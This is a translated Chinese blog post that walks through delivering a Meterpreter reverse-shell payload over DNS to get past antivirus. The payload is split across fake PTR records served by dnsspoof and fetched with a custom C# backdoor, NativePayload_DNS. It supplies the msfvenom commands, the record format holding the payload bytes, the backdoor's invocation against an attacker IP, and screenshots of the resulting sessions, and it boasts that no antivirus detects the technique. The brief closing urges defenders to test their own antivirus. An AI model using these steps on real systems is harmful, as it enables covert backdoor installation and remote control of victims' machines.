前言
在本篇文章裡，我想解釋怎麼樣不使用加密資料的方法也能繞過殺軟，同時我也想在github上分享源代碼。https://github.com/damonmohammadbagher/nativepayload_dns
我想使用dns協定來傳輸我的後門載荷，從攻擊者的機器到用戶端機器。這種情況下，我們的後門代碼就不需要是寫死的或者加密的了。
是以被殺軟檢測出來的風險就很低了。
為什麼是dns協定?
因為在大多數的網絡裡dns流量都是有效的，ips/ids或者硬體防火牆都不會監控和過濾dns流量。我知道你可以使用snort ips/ids或者類似的東西來檢測dns流量，但是在dns流量裡使用特征檢測出新的載荷非常困難。當然網絡管理者也有可能這麼做。
本篇文章我想給你展示一個在dns的請求和回應流量裡隐藏你的載荷的方法。
漏洞點在哪兒呢?
如果你想要在後門檔案中利用非加密或者無寫死的攻擊負荷，比如現在這種情況，你需要利用像http,dns
...這樣的網絡協定把攻擊負荷從你的系統傳送到目标機上。這種情況下，我們想通過dns協定傳送攻擊負荷，并同時在目标機器的記憶體裡執行這些攻擊載荷。是以漏洞點在于攻擊載荷的位置，還在于殺軟檢測惡意樣本的方式。因為在這種情況下，我們不會儲存攻擊載荷到檔案系統，載荷隻是在記憶體裡，流量裡。
很不幸運的是，各種殺軟為檢測惡意代碼，監控網絡流量，監控及掃描記憶體的，卻不是很有效。甚至大多數殺軟不管是否有ips/ids特性，都是根本無效的。
例子：後門載荷隐藏在擁有ptr記錄和a記錄的dns域中。
圖 1：dns域(ip位址到dns全稱域名)
注：圖檔一的紅色翻譯：
第一行：meterpreter載荷的第一行資料 {載荷}.1.com
左下方：時間設定，後門核心代碼每十分鐘重連一次攻擊者，每5分鐘建立一次連接配接。1.1.{10}.{5}
右下方：繞過比如像snort對dns流量的基于特征檢測攻擊載荷的好辦法(可能);-)，拆分攻擊載荷到1-5記錄。你可以利用nslookup來還原這些記錄，每隔一段時間比如(每2分鐘：擷取一個記錄)
正如你所見，這個dns域中，我有兩個很像是全稱域名的ptr類型的記錄，隐藏了meterpreter載荷。還有兩個ptr類型的記錄儲存了後門重連的時間設定，還有一個a類型的記錄也是儲存了時間設定。
拆分載荷資料到記錄! 如果你想繞過防火牆或者ips/ids對dns流量的基于特征的檢測。
拆分的一個好辦法是，把你的攻擊載荷拆分到ptr類型的dns記錄裡，或者其他你可以加密載荷并使用的協定裡。這取決于你和你的目标網絡。
正如圖1裡，我把meterpreter載荷的第一行資料拆分到5個記錄裡。是以這些記錄裡的載荷等于記錄1.1.1.0。
例子: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0。
在用戶端，你可以使用其他的工具或者技術，從假冒的dns伺服器擷取還原出這些載荷。不過，我打算利用nslookup指令行實時擷取，因為我覺得這比較簡單。
在圖檔2，我嘗試用nslookup工具測試假冒的dns伺服器到用戶端的dns流量。
圖檔2：nslookup指令及dns流量測試。
注：圖2裡的紅色翻譯如下：meterpreter載荷通過dns協定傳輸的流量。現在怎麼檢測呢?有思路嗎?
現在我要講下，怎麼樣在linux裡建立假冒的dns伺服器，以及meterpreter載荷如何儲存拆分到dns記錄。最後我要利用我的工具nativepayload_dns.exe來執行這些載荷，并得到一個meterpreter連接配接會話。
步驟1:一步步的建立擁有meterpreter載荷的假冒dns伺服器：
本步驟中，你可以利用msfvenom建立一個meterpreter載荷，像圖檔4中那樣。并把載荷一行一行的拷貝到dns.txt檔案中，然後利用dnsspoof在kali linux中建立一個假冒的dns伺服器。
不過我首先展示exe模式的meterpreter載荷，并用所有的殺軟測試，然後你會發現絕大多數殺軟都可以檢測出來。
為什麼我要展示着一點呢?
因為我想表明給你看，同一個攻擊載荷，用兩種技術，一是exe模式，二是dns傳輸。你會看到殺軟可以檢測出exe模式的載荷，但是不能檢測出利用第二個技術”dns傳輸”的載荷。但我們知道這兩種方法是同一個載荷。
例子1 , exe模式的載荷: msfvenom –-platform windows –arch x86_64 –p
windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f exe >
/root/desktop/payload.exe
下邊圖3你會看到，我的exe模式的載荷被11款殺軟檢測出來了。
圖3：exe模式的載荷被檢測出來了。
好了，現在該用第二種技術了，生成載荷時使用了c類型。
例2 , 第二種技術dns流量: msfvenom –-platform windows –arch x86_64 –p
windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f c >
/root/desktop/payload.txt
生成payload.txt檔案後，必須把載荷拷貝到dns.txt，按照圖4裡的格式，一行一行的拷貝。這非常重要，必須保證dns.txt有正确的格式。因為linu裡的dnsspoof要用到，格式如下：
ip位址 “{載荷}.域.com”
1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”
1.1.1.1“0xbc0xc80x130xff0x100x08.1.com”
在這種情況下，因為我的c#後門定制化的用到了域名"1.com"，我們必須使用這個名稱作為域名。或者像其他"2.com"，"3.net"，"t.com"，再或者一個字元加".com"作為域名。
是以在這種情況下，ip位址” 1.1.1.x” 裡的x就是dns.txt檔案裡的載荷行數，
1.1.1.0 --> payload.txt裡的0行 --> “{載荷0}.1.com”
1.1.1.1 --> payload.txt裡的1行 --> “{載荷1}.1.com”
1.1.1.2 --> payload.txt裡的2行 --> “{載荷2}.1.com”
圖4：生成假冒的dns伺服器和meterpreter載荷的步驟1
生成後的dns.txt檔案應該如下圖5。
圖5：dnsspoof用來假冒dns伺服器的dns.txt檔案
好了，現在利用dnsspoof在linux裡生成假冒的dns伺服器，像下圖6一樣。
圖6：dnsspoof工具
在步驟2中，我們需要一個後門，從假冒的dns伺服器下載下傳攻擊載荷，利用的是dns協定。
在這種情況下，我編寫了c#代碼來幹這件事。我的代碼裡使用了nslookup.exe發送dns請求，最終我的代碼捕獲到了dns ptr類型回應裡的後門載荷。
步驟2：
源代碼編譯後，生成的exe，按照如下的指令文法執行：
指令文法: nativepayload_dns.exe “起始ip位址” 計數 “假冒dns伺服器ip位址”
例如: c:\> nativepayload_dns.exe “1.1.1.” 34 “192.168.1.50”
起始ip位址：是你ptr記錄裡的第一個ip位址，不包含最後一節。對于域名id { 1 . 1 . 1 . }你需要輸入三個1.作為參數。
計數：是dns ptr類型記錄的個數，在這種情況下，我們dns.txt 檔案裡的1.1.1.0 …. 1.1.1.33，是以這個計數是34。
假冒dns伺服器ip位址：是我們或者說是攻擊者的假冒的dns伺服器ip位址，在這種情況下，我們的kali linux ip位址是192-168-1-50。
在執行後門之前，你要記住，必須確定kali linux裡的metasploit監聽在ip位址192-168-1-50。
現在你可以像圖7一樣執行後門了：
nativepayload_dns.exe 1.1.1. 34 192.168.1.50
圖7：nativepayload_dns 工具
正如圖7裡，後門嘗試發送dns請求ip位址1.1.1.x，并得到了ptr或者fqdn類型記錄的回應。在下一張圖裡，你會發現用戶端和假冒dns伺服器之間的網絡流量。
圖8：利用dns流量傳送meterpreter載荷
最終34個記錄倒計時完成之後，你會在攻擊者那端得到一個meterpreter連接配接會話，像圖9裡的。而且不幸的是，我的殺軟沒檢測出來這種技術。我認為大多數的殺軟都無法檢測出來，如果你用其他殺軟測試了這個技術，請在評論裡留言告訴我結果，還有哪款殺軟和版本;)。謝謝你夥計。
圖9：利用dns協定的meterpreter會話連接配接
你會看到我的殺軟再一次被繞過了;-)，這是用所有殺軟掃描我的源代碼的結果，你可以比較圖3和圖10。兩個後門使用同樣的載荷。
圖 10: nativepayload_dns (avs結果 = 0 被檢測)
下張圖你會看到c#源代碼使用了nslookup工具的背後究竟發生了什麼。
圖11：nslookup 和 udp連接配接
最終你會在tcpview和putty裡看到我的meterpreter會話，見下圖：
圖12：tcpview以及tcp有效連接配接，當後門載荷被從假冒的dns伺服器下載下傳下來後。
在圖13裡，你同樣可以看到meterpreter會話：
圖13：meterpreter會話。
一目了然：你不能相信殺軟總是可以防範網絡中攻擊載荷的傳輸，如果通過這種技術或者其他的方法來傳送攻擊載荷的話，哪怕是使用其他協定。你的網絡和用戶端/伺服器是很脆弱的。是以請用你自己的殺軟測試這個技術，并分享你的經驗，在評論裡留言告訴我(也許這件事我說錯了，也許沒有)。
作者：江南憶
來源：51cto